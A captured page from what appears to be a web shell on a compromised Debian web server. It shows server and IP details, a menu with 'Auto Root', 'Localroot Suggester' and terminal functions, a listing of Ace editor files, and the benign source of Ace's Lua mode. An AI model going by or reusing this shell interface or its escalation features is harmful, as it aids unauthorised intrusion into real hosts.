Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
ctm.bdcloud.fr /
includes /
ace /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
snippets
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
ace.js
712.86
KB
-rw-r--r--
2020-09-03 11:42
ext-beautify.js
11.79
KB
-rw-r--r--
2020-09-03 11:42
ext-elastic_tabstops_lite.js
8.74
KB
-rw-r--r--
2020-09-03 11:42
ext-emmet.js
47.21
KB
-rw-r--r--
2020-09-03 11:42
ext-error_marker.js
336
B
-rw-r--r--
2020-09-03 11:42
ext-keybinding_menu.js
5.65
KB
-rw-r--r--
2020-09-03 11:42
ext-language_tools.js
74.39
KB
-rw-r--r--
2020-09-03 11:42
ext-linking.js
1.95
KB
-rw-r--r--
2020-09-03 11:42
ext-modelist.js
7.03
KB
-rw-r--r--
2020-09-03 11:42
ext-options.js
23.39
KB
-rw-r--r--
2020-09-03 11:42
ext-prompt.js
93.09
KB
-rw-r--r--
2020-09-03 11:42
ext-rtl.js
4.44
KB
-rw-r--r--
2020-09-03 11:42
ext-searchbox.js
16.74
KB
-rw-r--r--
2020-09-03 11:42
ext-settings_menu.js
24.21
KB
-rw-r--r--
2020-09-03 11:42
ext-spellcheck.js
2.54
KB
-rw-r--r--
2020-09-03 11:42
ext-split.js
6.39
KB
-rw-r--r--
2020-09-03 11:42
ext-static_highlight.js
6.87
KB
-rw-r--r--
2020-09-03 11:42
ext-statusbar.js
1.87
KB
-rw-r--r--
2020-09-03 11:42
ext-textarea.js
16.11
KB
-rw-r--r--
2020-09-03 11:42
ext-themelist.js
2.63
KB
-rw-r--r--
2020-09-03 11:42
ext-whitespace.js
6.44
KB
-rw-r--r--
2020-09-03 11:42
keybinding-emacs.js
39.77
KB
-rw-r--r--
2020-09-03 11:42
keybinding-sublime.js
11.27
KB
-rw-r--r--
2020-09-03 11:42
keybinding-vim.js
212.41
KB
-rw-r--r--
2020-09-03 11:42
mode-abap.js
9.17
KB
-rw-r--r--
2020-09-03 11:42
mode-abc.js
9.17
KB
-rw-r--r--
2020-09-03 11:42
mode-actionscript.js
24.39
KB
-rw-r--r--
2020-09-03 11:42
mode-ada.js
4.2
KB
-rw-r--r--
2020-09-03 11:42
mode-apache_conf.js
18.94
KB
-rw-r--r--
2020-09-03 11:42
mode-apex.js
15.28
KB
-rw-r--r--
2020-09-03 11:42
mode-applescript.js
9.67
KB
-rw-r--r--
2020-09-03 11:42
mode-aql.js
4.6
KB
-rw-r--r--
2020-09-03 11:42
mode-asciidoc.js
13.79
KB
-rw-r--r--
2020-09-03 11:42
mode-asl.js
15.9
KB
-rw-r--r--
2020-09-03 11:42
mode-assembly_x86.js
11.76
KB
-rw-r--r--
2020-09-03 11:42
mode-autohotkey.js
66.03
KB
-rw-r--r--
2020-09-03 11:42
mode-batchfile.js
8.37
KB
-rw-r--r--
2020-09-03 11:42
mode-bro.js
11.09
KB
-rw-r--r--
2020-09-03 11:42
mode-c9search.js
9.72
KB
-rw-r--r--
2020-09-03 11:42
mode-c_cpp.js
18.81
KB
-rw-r--r--
2020-09-03 11:42
mode-cirru.js
6.15
KB
-rw-r--r--
2020-09-03 11:42
mode-clojure.js
12.77
KB
-rw-r--r--
2020-09-03 11:42
mode-cobol.js
3.6
KB
-rw-r--r--
2020-09-03 11:42
mode-coffee.js
14.34
KB
-rw-r--r--
2020-09-03 11:42
mode-coldfusion.js
102.71
KB
-rw-r--r--
2020-09-03 11:42
mode-crystal.js
23.55
KB
-rw-r--r--
2020-09-03 11:42
mode-csharp.js
16.41
KB
-rw-r--r--
2020-09-03 11:42
mode-csound_document.js
120.23
KB
-rw-r--r--
2020-09-03 11:42
mode-csound_orchestra.js
72.91
KB
-rw-r--r--
2020-09-03 11:42
mode-csound_score.js
14.02
KB
-rw-r--r--
2020-09-03 11:42
mode-csp.js
2.22
KB
-rw-r--r--
2020-09-03 11:42
mode-css.js
31.06
KB
-rw-r--r--
2020-09-03 11:42
mode-curly.js
100.79
KB
-rw-r--r--
2020-09-03 11:42
mode-d.js
17.42
KB
-rw-r--r--
2020-09-03 11:42
mode-dart.js
24.72
KB
-rw-r--r--
2020-09-03 11:42
mode-diff.js
4.64
KB
-rw-r--r--
2020-09-03 11:42
mode-django.js
101.6
KB
-rw-r--r--
2020-09-03 11:42
mode-dockerfile.js
16.11
KB
-rw-r--r--
2020-09-03 11:42
mode-dot.js
13.82
KB
-rw-r--r--
2020-09-03 11:42
mode-drools.js
18.68
KB
-rw-r--r--
2020-09-03 11:42
mode-edifact.js
5.31
KB
-rw-r--r--
2020-09-03 11:42
mode-eiffel.js
5.15
KB
-rw-r--r--
2020-09-03 11:42
mode-ejs.js
118.45
KB
-rw-r--r--
2020-09-03 11:42
mode-elixir.js
23.07
KB
-rw-r--r--
2020-09-03 11:42
mode-elm.js
9.47
KB
-rw-r--r--
2020-09-03 11:42
mode-erlang.js
45.63
KB
-rw-r--r--
2020-09-03 11:42
mode-forth.js
11.3
KB
-rw-r--r--
2020-09-03 11:42
mode-fortran.js
15.04
KB
-rw-r--r--
2020-09-03 11:42
mode-fsharp.js
10.39
KB
-rw-r--r--
2020-09-03 11:42
mode-fsl.js
8.53
KB
-rw-r--r--
2020-09-03 11:42
mode-ftl.js
50.14
KB
-rw-r--r--
2020-09-03 11:42
mode-gcode.js
3.09
KB
-rw-r--r--
2020-09-03 11:42
mode-gherkin.js
4.87
KB
-rw-r--r--
2020-09-03 11:42
mode-gitignore.js
1.77
KB
-rw-r--r--
2020-09-03 11:42
mode-glsl.js
21.86
KB
-rw-r--r--
2020-09-03 11:42
mode-gobstones.js
43.09
KB
-rw-r--r--
2020-09-03 11:42
mode-golang.js
13.82
KB
-rw-r--r--
2020-09-03 11:42
mode-graphqlschema.js
6.71
KB
-rw-r--r--
2020-09-03 11:42
mode-groovy.js
38.02
KB
-rw-r--r--
2020-09-03 11:42
mode-haml.js
63.97
KB
-rw-r--r--
2020-09-03 11:42
mode-handlebars.js
102.35
KB
-rw-r--r--
2020-09-03 11:42
mode-haskell.js
17.05
KB
-rw-r--r--
2020-09-03 11:42
mode-haskell_cabal.js
4.47
KB
-rw-r--r--
2020-09-03 11:42
mode-haxe.js
12.27
KB
-rw-r--r--
2020-09-03 11:42
mode-hjson.js
11.09
KB
-rw-r--r--
2020-09-03 11:42
mode-html.js
99.24
KB
-rw-r--r--
2020-09-03 11:42
mode-html_elixir.js
124.58
KB
-rw-r--r--
2020-09-03 11:42
mode-html_ruby.js
119.19
KB
-rw-r--r--
2020-09-03 11:42
mode-ini.js
4.88
KB
-rw-r--r--
2020-09-03 11:42
mode-io.js
9.05
KB
-rw-r--r--
2020-09-03 11:42
mode-jack.js
11.02
KB
-rw-r--r--
2020-09-03 11:42
mode-jade.js
79.34
KB
-rw-r--r--
2020-09-03 11:42
mode-java.js
39.7
KB
-rw-r--r--
2020-09-03 11:42
mode-javascript.js
31.03
KB
-rw-r--r--
2020-09-03 11:42
mode-json.js
10.24
KB
-rw-r--r--
2020-09-03 11:42
mode-jsoniq.js
320.49
KB
-rw-r--r--
2020-09-03 11:42
mode-jsp.js
58.42
KB
-rw-r--r--
2020-09-03 11:42
mode-jssm.js
10.55
KB
-rw-r--r--
2020-09-03 11:42
mode-jsx.js
13.36
KB
-rw-r--r--
2020-09-03 11:42
mode-julia.js
11.93
KB
-rw-r--r--
2020-09-03 11:42
mode-kotlin.js
24.32
KB
-rw-r--r--
2020-09-03 11:42
mode-latex.js
9.49
KB
-rw-r--r--
2020-09-03 11:42
mode-less.js
35.21
KB
-rw-r--r--
2020-09-03 11:42
mode-liquid.js
107.71
KB
-rw-r--r--
2020-09-03 11:42
mode-lisp.js
3.47
KB
-rw-r--r--
2020-09-03 11:42
mode-livescript.js
8.34
KB
-rw-r--r--
2020-09-03 11:42
mode-logiql.js
10.65
KB
-rw-r--r--
2020-09-03 11:42
mode-logtalk.js
15.65
KB
-rw-r--r--
2020-09-03 11:42
mode-lsl.js
31.14
KB
-rw-r--r--
2020-09-03 11:42
mode-lua.js
14.98
KB
-rw-r--r--
2020-09-03 11:42
mode-luapage.js
115.82
KB
-rw-r--r--
2020-09-03 11:42
mode-lucene.js
4.78
KB
-rw-r--r--
2020-09-03 11:42
mode-makefile.js
13.12
KB
-rw-r--r--
2020-09-03 11:42
mode-markdown.js
121.59
KB
-rw-r--r--
2020-09-03 11:42
mode-mask.js
70.27
KB
-rw-r--r--
2020-09-03 11:42
mode-matlab.js
22.9
KB
-rw-r--r--
2020-09-03 11:42
mode-maze.js
9.17
KB
-rw-r--r--
2020-09-03 11:42
mode-mel.js
28.47
KB
-rw-r--r--
2020-09-03 11:42
mode-mixal.js
5.15
KB
-rw-r--r--
2020-09-03 11:42
mode-mushcode.js
12.08
KB
-rw-r--r--
2020-09-03 11:42
mode-mysql.js
8.79
KB
-rw-r--r--
2020-09-03 11:42
mode-nginx.js
20.03
KB
-rw-r--r--
2020-09-03 11:42
mode-nim.js
12.13
KB
-rw-r--r--
2020-09-03 11:42
mode-nix.js
23.54
KB
-rw-r--r--
2020-09-03 11:42
mode-nsis.js
14.67
KB
-rw-r--r--
2020-09-03 11:42
mode-objectivec.js
64.25
KB
-rw-r--r--
2020-09-03 11:42
mode-ocaml.js
21.26
KB
-rw-r--r--
2020-09-03 11:42
mode-pascal.js
7.92
KB
-rw-r--r--
2020-09-03 11:42
mode-perl.js
13.04
KB
-rw-r--r--
2020-09-03 11:42
mode-perl6.js
24.53
KB
-rw-r--r--
2020-09-03 11:42
mode-pgsql.js
84.98
KB
-rw-r--r--
2020-09-03 11:42
mode-php.js
580.88
KB
-rw-r--r--
2020-09-03 11:42
mode-php_laravel_blade.js
588.06
KB
-rw-r--r--
2020-09-03 11:42
mode-pig.js
10.91
KB
-rw-r--r--
2020-09-03 11:42
mode-plain_text.js
1.06
KB
-rw-r--r--
2020-09-03 11:42
mode-powershell.js
38.23
KB
-rw-r--r--
2020-09-03 11:42
mode-praat.js
17.59
KB
-rw-r--r--
2020-09-03 11:42
mode-prolog.js
14.07
KB
-rw-r--r--
2020-09-03 11:42
mode-properties.js
2.33
KB
-rw-r--r--
2020-09-03 11:42
mode-protobuf.js
21.98
KB
-rw-r--r--
2020-09-03 11:42
mode-puppet.js
12.8
KB
-rw-r--r--
2020-09-03 11:42
mode-python.js
15.13
KB
-rw-r--r--
2020-09-03 11:42
mode-r.js
9.91
KB
-rw-r--r--
2020-09-03 11:42
mode-razor.js
111.4
KB
-rw-r--r--
2020-09-03 11:42
mode-rdoc.js
8.06
KB
-rw-r--r--
2020-09-03 11:42
mode-red.js
19.83
KB
-rw-r--r--
2020-09-03 11:42
mode-redshift.js
13.99
KB
-rw-r--r--
2020-09-03 11:42
mode-rhtml.js
108.53
KB
-rw-r--r--
2020-09-03 11:42
mode-rst.js
5.83
KB
-rw-r--r--
2020-09-03 11:42
mode-ruby.js
18.75
KB
-rw-r--r--
2020-09-03 11:42
mode-rust.js
11.12
KB
-rw-r--r--
2020-09-03 11:42
mode-sass.js
23.81
KB
-rw-r--r--
2020-09-03 11:42
mode-scad.js
12.89
KB
-rw-r--r--
2020-09-03 11:42
mode-scala.js
38.13
KB
-rw-r--r--
2020-09-03 11:42
mode-scheme.js
7.14
KB
-rw-r--r--
2020-09-03 11:42
mode-scss.js
36.93
KB
-rw-r--r--
2020-09-03 11:42
mode-sh.js
14.49
KB
-rw-r--r--
2020-09-03 11:42
mode-sjs.js
36.98
KB
-rw-r--r--
2020-09-03 11:42
mode-slim.js
174.99
KB
-rw-r--r--
2020-09-03 11:42
mode-smarty.js
104.2
KB
-rw-r--r--
2020-09-03 11:42
mode-snippets.js
7.04
KB
-rw-r--r--
2020-09-03 11:42
mode-soy_template.js
112.5
KB
-rw-r--r--
2020-09-03 11:42
mode-space.js
4.99
KB
-rw-r--r--
2020-09-03 11:42
mode-sparql.js
12.35
KB
-rw-r--r--
2020-09-03 11:42
mode-sql.js
3.34
KB
-rw-r--r--
2020-09-03 11:42
mode-sqlserver.js
23.07
KB
-rw-r--r--
2020-09-03 11:42
mode-stylus.js
20.92
KB
-rw-r--r--
2020-09-03 11:42
mode-svg.js
57.59
KB
-rw-r--r--
2020-09-03 11:42
mode-swift.js
13.22
KB
-rw-r--r--
2020-09-03 11:42
mode-tcl.js
12.23
KB
-rw-r--r--
2020-09-03 11:42
mode-terraform.js
12.93
KB
-rw-r--r--
2020-09-03 11:42
mode-tex.js
5.13
KB
-rw-r--r--
2020-09-03 11:42
mode-text.js
329
B
-rw-r--r--
2020-09-03 11:42
mode-textile.js
4.18
KB
-rw-r--r--
2020-09-03 11:42
mode-toml.js
4.17
KB
-rw-r--r--
2020-09-03 11:42
mode-tsx.js
34.09
KB
-rw-r--r--
2020-09-03 11:42
mode-turtle.js
9.31
KB
-rw-r--r--
2020-09-03 11:42
mode-twig.js
104.9
KB
-rw-r--r--
2020-09-03 11:42
mode-typescript.js
33.67
KB
-rw-r--r--
2020-09-03 11:42
mode-vala.js
27.08
KB
-rw-r--r--
2020-09-03 11:42
mode-vbscript.js
7.57
KB
-rw-r--r--
2020-09-03 11:42
mode-velocity.js
108.36
KB
-rw-r--r--
2020-09-03 11:42
mode-verilog.js
4.45
KB
-rw-r--r--
2020-09-03 11:42
mode-vhdl.js
3.81
KB
-rw-r--r--
2020-09-03 11:42
mode-visualforce.js
103.47
KB
-rw-r--r--
2020-09-03 11:42
mode-wollok.js
34.9
KB
-rw-r--r--
2020-09-03 11:42
mode-xml.js
23.42
KB
-rw-r--r--
2020-09-03 11:42
mode-xquery.js
317.76
KB
-rw-r--r--
2020-09-03 11:42
mode-yaml.js
10.35
KB
-rw-r--r--
2020-09-03 11:42
mode-zeek.js
16.65
KB
-rw-r--r--
2020-09-03 11:42
theme-ambiance.js
27.53
KB
-rw-r--r--
2020-09-03 11:42
theme-chaos.js
3.45
KB
-rw-r--r--
2020-09-03 11:42
theme-chrome.js
3.28
KB
-rw-r--r--
2020-09-03 11:42
theme-clouds.js
2.6
KB
-rw-r--r--
2020-09-03 11:42
theme-clouds_midnight.js
2.95
KB
-rw-r--r--
2020-09-03 11:42
theme-cobalt.js
2.9
KB
-rw-r--r--
2020-09-03 11:42
theme-crimson_editor.js
3.37
KB
-rw-r--r--
2020-09-03 11:42
theme-dawn.js
2.78
KB
-rw-r--r--
2020-09-03 11:42
theme-dracula.js
3.16
KB
-rw-r--r--
2020-09-03 11:42
theme-dreamweaver.js
3.73
KB
-rw-r--r--
2020-09-03 11:42
theme-eclipse.js
2.65
KB
-rw-r--r--
2020-09-03 11:42
theme-github.js
2.72
KB
-rw-r--r--
2020-09-03 11:42
theme-gob.js
2.92
KB
-rw-r--r--
2020-09-03 11:42
theme-gruvbox.js
2.17
KB
-rw-r--r--
2020-09-03 11:42
theme-idle_fingers.js
2.77
KB
-rw-r--r--
2020-09-03 11:42
theme-iplastic.js
6.94
KB
-rw-r--r--
2020-09-03 11:42
theme-katzenmilch.js
3.68
KB
-rw-r--r--
2020-09-03 11:42
theme-kr_theme.js
2.83
KB
-rw-r--r--
2020-09-03 11:42
theme-kuroir.js
2.51
KB
-rw-r--r--
2020-09-03 11:42
theme-merbivore.js
2.75
KB
-rw-r--r--
2020-09-03 11:42
theme-merbivore_soft.js
2.97
KB
-rw-r--r--
2020-09-03 11:42
theme-mono_industrial.js
3.32
KB
-rw-r--r--
2020-09-03 11:42
theme-monokai.js
2.91
KB
-rw-r--r--
2020-09-03 11:42
theme-pastel_on_dark.js
3.17
KB
-rw-r--r--
2020-09-03 11:42
theme-solarized_dark.js
2.82
KB
-rw-r--r--
2020-09-03 11:42
theme-solarized_light.js
2.87
KB
-rw-r--r--
2020-09-03 11:42
theme-sqlserver.js
3.48
KB
-rw-r--r--
2020-09-03 11:42
theme-terminal.js
3.45
KB
-rw-r--r--
2020-09-03 11:42
theme-textmate.js
3.2
KB
-rw-r--r--
2020-09-03 11:42
theme-tomorrow.js
3.09
KB
-rw-r--r--
2020-09-03 11:42
theme-tomorrow_night.js
3.35
KB
-rw-r--r--
2020-09-03 11:42
theme-tomorrow_night_blue.js
3.56
KB
-rw-r--r--
2020-09-03 11:42
theme-tomorrow_night_bright.js
4.05
KB
-rw-r--r--
2020-09-03 11:42
theme-tomorrow_night_eighties.js
3.75
KB
-rw-r--r--
2020-09-03 11:42
theme-twilight.js
3.04
KB
-rw-r--r--
2020-09-03 11:42
theme-vibrant_ink.js
2.72
KB
-rw-r--r--
2020-09-03 11:42
theme-xcode.js
2.43
KB
-rw-r--r--
2020-09-03 11:42
worker-coffee.js
362.12
KB
-rw-r--r--
2020-09-03 11:42
worker-css.js
290.29
KB
-rw-r--r--
2020-09-03 11:42
worker-html.js
329.86
KB
-rw-r--r--
2020-09-03 11:42
worker-javascript.js
336.7
KB
-rw-r--r--
2020-09-03 11:42
worker-json.js
70.69
KB
-rw-r--r--
2020-09-03 11:42
worker-lua.js
102.96
KB
-rw-r--r--
2020-09-03 11:42
worker-php.js
147.25
KB
-rw-r--r--
2020-09-03 11:42
worker-xml.js
109.6
KB
-rw-r--r--
2020-09-03 11:42
worker-xquery.js
3.36
MB
-rw-r--r--
2020-09-03 11:42
Save
Rename
define("ace/mode/lua_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var LuaHighlightRules = function() { var keywords = ( "break|do|else|elseif|end|for|function|if|in|local|repeat|"+ "return|then|until|while|or|and|not" ); var builtinConstants = ("true|false|nil|_G|_VERSION"); var functions = ( "string|xpcall|package|tostring|print|os|unpack|require|"+ "getfenv|setmetatable|next|assert|tonumber|io|rawequal|"+ "collectgarbage|getmetatable|module|rawset|math|debug|"+ "pcall|table|newproxy|type|coroutine|_G|select|gcinfo|"+ "pairs|rawget|loadstring|ipairs|_VERSION|dofile|setfenv|"+ "load|error|loadfile|"+ "sub|upper|len|gfind|rep|find|match|char|dump|gmatch|"+ "reverse|byte|format|gsub|lower|preload|loadlib|loaded|"+ "loaders|cpath|config|path|seeall|exit|setlocale|date|"+ "getenv|difftime|remove|time|clock|tmpname|rename|execute|"+ "lines|write|close|flush|open|output|type|read|stderr|"+ "stdin|input|stdout|popen|tmpfile|log|max|acos|huge|"+ "ldexp|pi|cos|tanh|pow|deg|tan|cosh|sinh|random|randomseed|"+ "frexp|ceil|floor|rad|abs|sqrt|modf|asin|min|mod|fmod|log10|"+ "atan2|exp|sin|atan|getupvalue|debug|sethook|getmetatable|"+ "gethook|setmetatable|setlocal|traceback|setfenv|getinfo|"+ "setupvalue|getlocal|getregistry|getfenv|setn|insert|getn|"+ "foreachi|maxn|foreach|concat|sort|remove|resume|yield|"+ "status|wrap|create|running|"+ "__add|__sub|__mod|__unm|__concat|__lt|__index|__call|__gc|__metatable|"+ "__mul|__div|__pow|__len|__eq|__le|__newindex|__tostring|__mode|__tonumber" ); var stdLibaries = ("string|package|os|io|math|debug|table|coroutine"); var deprecatedIn5152 = ("setn|foreach|foreachi|gcinfo|log10|maxn"); var keywordMapper = this.createKeywordMapper({ "keyword": keywords, "support.function": functions, "keyword.deprecated": deprecatedIn5152, "constant.library": stdLibaries, "constant.language": builtinConstants, "variable.language": "self" }, "identifier"); var decimalInteger = "(?:(?:[1-9]\\d*)|(?:0))"; var hexInteger = "(?:0[xX][\\dA-Fa-f]+)"; var integer = "(?:" + decimalInteger + "|" + hexInteger + ")"; var fraction = "(?:\\.\\d+)"; var intPart = "(?:\\d+)"; var pointFloat = "(?:(?:" + intPart + "?" + fraction + ")|(?:" + intPart + "\\.))"; var floatNumber = "(?:" + pointFloat + ")"; this.$rules = { "start" : [{ stateName: "bracketedComment", onMatch : function(value, currentState, stack){ stack.unshift(this.next, value.length - 2, currentState); return "comment"; }, regex : /\-\-\[=*\[/, next : [ { onMatch : function(value, currentState, stack) { if (value.length == stack[1]) { stack.shift(); stack.shift(); this.next = stack.shift(); } else { this.next = ""; } return "comment"; }, regex : /\]=*\]/, next : "start" }, { defaultToken : "comment" } ] }, { token : "comment", regex : "\\-\\-.*$" }, { stateName: "bracketedString", onMatch : function(value, currentState, stack){ stack.unshift(this.next, value.length, currentState); return "string.start"; }, regex : /\[=*\[/, next : [ { onMatch : function(value, currentState, stack) { if (value.length == stack[1]) { stack.shift(); stack.shift(); this.next = stack.shift(); } else { this.next = ""; } return "string.end"; }, regex : /\]=*\]/, next : "start" }, { defaultToken : "string" } ] }, { token : "string", // " string regex : '"(?:[^\\\\]|\\\\.)*?"' }, { token : "string", // ' string regex : "'(?:[^\\\\]|\\\\.)*?'" }, { token : "constant.numeric", // float regex : floatNumber }, { token : "constant.numeric", // integer regex : integer + "\\b" }, { token : keywordMapper, regex : "[a-zA-Z_$][a-zA-Z0-9_$]*\\b" }, { token : "keyword.operator", regex : "\\+|\\-|\\*|\\/|%|\\#|\\^|~|<|>|<=|=>|==|~=|=|\\:|\\.\\.\\.|\\.\\." }, { token : "paren.lparen", regex : "[\\[\\(\\{]" }, { token : "paren.rparen", regex : "[\\]\\)\\}]" }, { token : "text", regex : "\\s+|\\w+" } ] }; this.normalizeRules(); }; oop.inherits(LuaHighlightRules, TextHighlightRules); exports.LuaHighlightRules = LuaHighlightRules; }); define("ace/mode/folding/lua",["require","exports","module","ace/lib/oop","ace/mode/folding/fold_mode","ace/range","ace/token_iterator"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var BaseFoldMode = require("./fold_mode").FoldMode; var Range = require("../../range").Range; var TokenIterator = require("../../token_iterator").TokenIterator; var FoldMode = exports.FoldMode = function() {}; oop.inherits(FoldMode, BaseFoldMode); (function() { this.foldingStartMarker = /\b(function|then|do|repeat)\b|{\s*$|(\[=*\[)/; this.foldingStopMarker = /\bend\b|^\s*}|\]=*\]/; this.getFoldWidget = function(session, foldStyle, row) { var line = session.getLine(row); var isStart = this.foldingStartMarker.test(line); var isEnd = this.foldingStopMarker.test(line); if (isStart && !isEnd) { var match = line.match(this.foldingStartMarker); if (match[1] == "then" && /\belseif\b/.test(line)) return; if (match[1]) { if (session.getTokenAt(row, match.index + 1).type === "keyword") return "start"; } else if (match[2]) { var type = session.bgTokenizer.getState(row) || ""; if (type[0] == "bracketedComment" || type[0] == "bracketedString") return "start"; } else { return "start"; } } if (foldStyle != "markbeginend" || !isEnd || isStart && isEnd) return ""; var match = line.match(this.foldingStopMarker); if (match[0] === "end") { if (session.getTokenAt(row, match.index + 1).type === "keyword") return "end"; } else if (match[0][0] === "]") { var type = session.bgTokenizer.getState(row - 1) || ""; if (type[0] == "bracketedComment" || type[0] == "bracketedString") return "end"; } else return "end"; }; this.getFoldWidgetRange = function(session, foldStyle, row) { var line = session.doc.getLine(row); var match = this.foldingStartMarker.exec(line); if (match) { if (match[1]) return this.luaBlock(session, row, match.index + 1); if (match[2]) return session.getCommentFoldRange(row, match.index + 1); return this.openingBracketBlock(session, "{", row, match.index); } var match = this.foldingStopMarker.exec(line); if (match) { if (match[0] === "end") { if (session.getTokenAt(row, match.index + 1).type === "keyword") return this.luaBlock(session, row, match.index + 1); } if (match[0][0] === "]") return session.getCommentFoldRange(row, match.index + 1); return this.closingBracketBlock(session, "}", row, match.index + match[0].length); } }; this.luaBlock = function(session, row, column, tokenRange) { var stream = new TokenIterator(session, row, column); var indentKeywords = { "function": 1, "do": 1, "then": 1, "elseif": -1, "end": -1, "repeat": 1, "until": -1 }; var token = stream.getCurrentToken(); if (!token || token.type != "keyword") return; var val = token.value; var stack = [val]; var dir = indentKeywords[val]; if (!dir) return; var startColumn = dir === -1 ? stream.getCurrentTokenColumn() : session.getLine(row).length; var startRow = row; stream.step = dir === -1 ? stream.stepBackward : stream.stepForward; while(token = stream.step()) { if (token.type !== "keyword") continue; var level = dir * indentKeywords[token.value]; if (level > 0) { stack.unshift(token.value); } else if (level <= 0) { stack.shift(); if (!stack.length && token.value != "elseif") break; if (level === 0) stack.unshift(token.value); } } if (!token) return null; if (tokenRange) return stream.getCurrentTokenRange(); var row = stream.getCurrentTokenRow(); if (dir === -1) return new Range(row, session.getLine(row).length, startRow, startColumn); else return new Range(startRow, startColumn, row, stream.getCurrentTokenColumn()); }; }).call(FoldMode.prototype); }); define("ace/mode/lua",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/lua_highlight_rules","ace/mode/folding/lua","ace/range","ace/worker/worker_client"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextMode = require("./text").Mode; var LuaHighlightRules = require("./lua_highlight_rules").LuaHighlightRules; var LuaFoldMode = require("./folding/lua").FoldMode; var Range = require("../range").Range; var WorkerClient = require("../worker/worker_client").WorkerClient; var Mode = function() { this.HighlightRules = LuaHighlightRules; this.foldingRules = new LuaFoldMode(); this.$behaviour = this.$defaultBehaviour; }; oop.inherits(Mode, TextMode); (function() { this.lineCommentStart = "--"; this.blockComment = {start: "--[", end: "]--"}; var indentKeywords = { "function": 1, "then": 1, "do": 1, "else": 1, "elseif": 1, "repeat": 1, "end": -1, "until": -1 }; var outdentKeywords = [ "else", "elseif", "end", "until" ]; function getNetIndentLevel(tokens) { var level = 0; for (var i = 0; i < tokens.length; i++) { var token = tokens[i]; if (token.type == "keyword") { if (token.value in indentKeywords) { level += indentKeywords[token.value]; } } else if (token.type == "paren.lparen") { level += token.value.length; } else if (token.type == "paren.rparen") { level -= token.value.length; } } if (level < 0) { return -1; } else if (level > 0) { return 1; } else { return 0; } } this.getNextLineIndent = function(state, line, tab) { var indent = this.$getIndent(line); var level = 0; var tokenizedLine = this.getTokenizer().getLineTokens(line, state); var tokens = tokenizedLine.tokens; if (state == "start") { level = getNetIndentLevel(tokens); } if (level > 0) { return indent + tab; } else if (level < 0 && indent.substr(indent.length - tab.length) == tab) { if (!this.checkOutdent(state, line, "\n")) { return indent.substr(0, indent.length - tab.length); } } return indent; }; this.checkOutdent = function(state, line, input) { if (input != "\n" && input != "\r" && input != "\r\n") return false; if (line.match(/^\s*[\)\}\]]$/)) return true; var tokens = this.getTokenizer().getLineTokens(line.trim(), state).tokens; if (!tokens || !tokens.length) return false; return (tokens[0].type == "keyword" && outdentKeywords.indexOf(tokens[0].value) != -1); }; this.getMatching = function(session, row, column) { if (row == undefined) { var pos = session.selection.lead; column = pos.column; row = pos.row; } var startToken = session.getTokenAt(row, column); if (startToken && startToken.value in indentKeywords) return this.foldingRules.luaBlock(session, row, column, true); }; this.autoOutdent = function(state, session, row) { var line = session.getLine(row); var column = line.match(/^\s*/)[0].length; if (!column || !row) return; var startRange = this.getMatching(session, row, column + 1); if (!startRange || startRange.start.row == row) return; var indent = this.$getIndent(session.getLine(startRange.start.row)); if (indent.length != column) { session.replace(new Range(row, 0, row, column), indent); session.outdentRows(new Range(row + 1, 0, row + 1, 0)); } }; this.createWorker = function(session) { var worker = new WorkerClient(["ace"], "ace/mode/lua_worker", "Worker"); worker.attachToDocument(session.getDocument()); worker.on("annotate", function(e) { session.setAnnotations(e.data); }); worker.on("terminate", function() { session.clearAnnotations(); }); return worker; }; this.$id = "ace/mode/lua"; }).call(Mode.prototype); exports.Mode = Mode; }); (function() { window.require(["ace/mode/lua"], function(m) { if (typeof module == "object" && typeof exports == "object" && module) { module.exports = m; } }); })();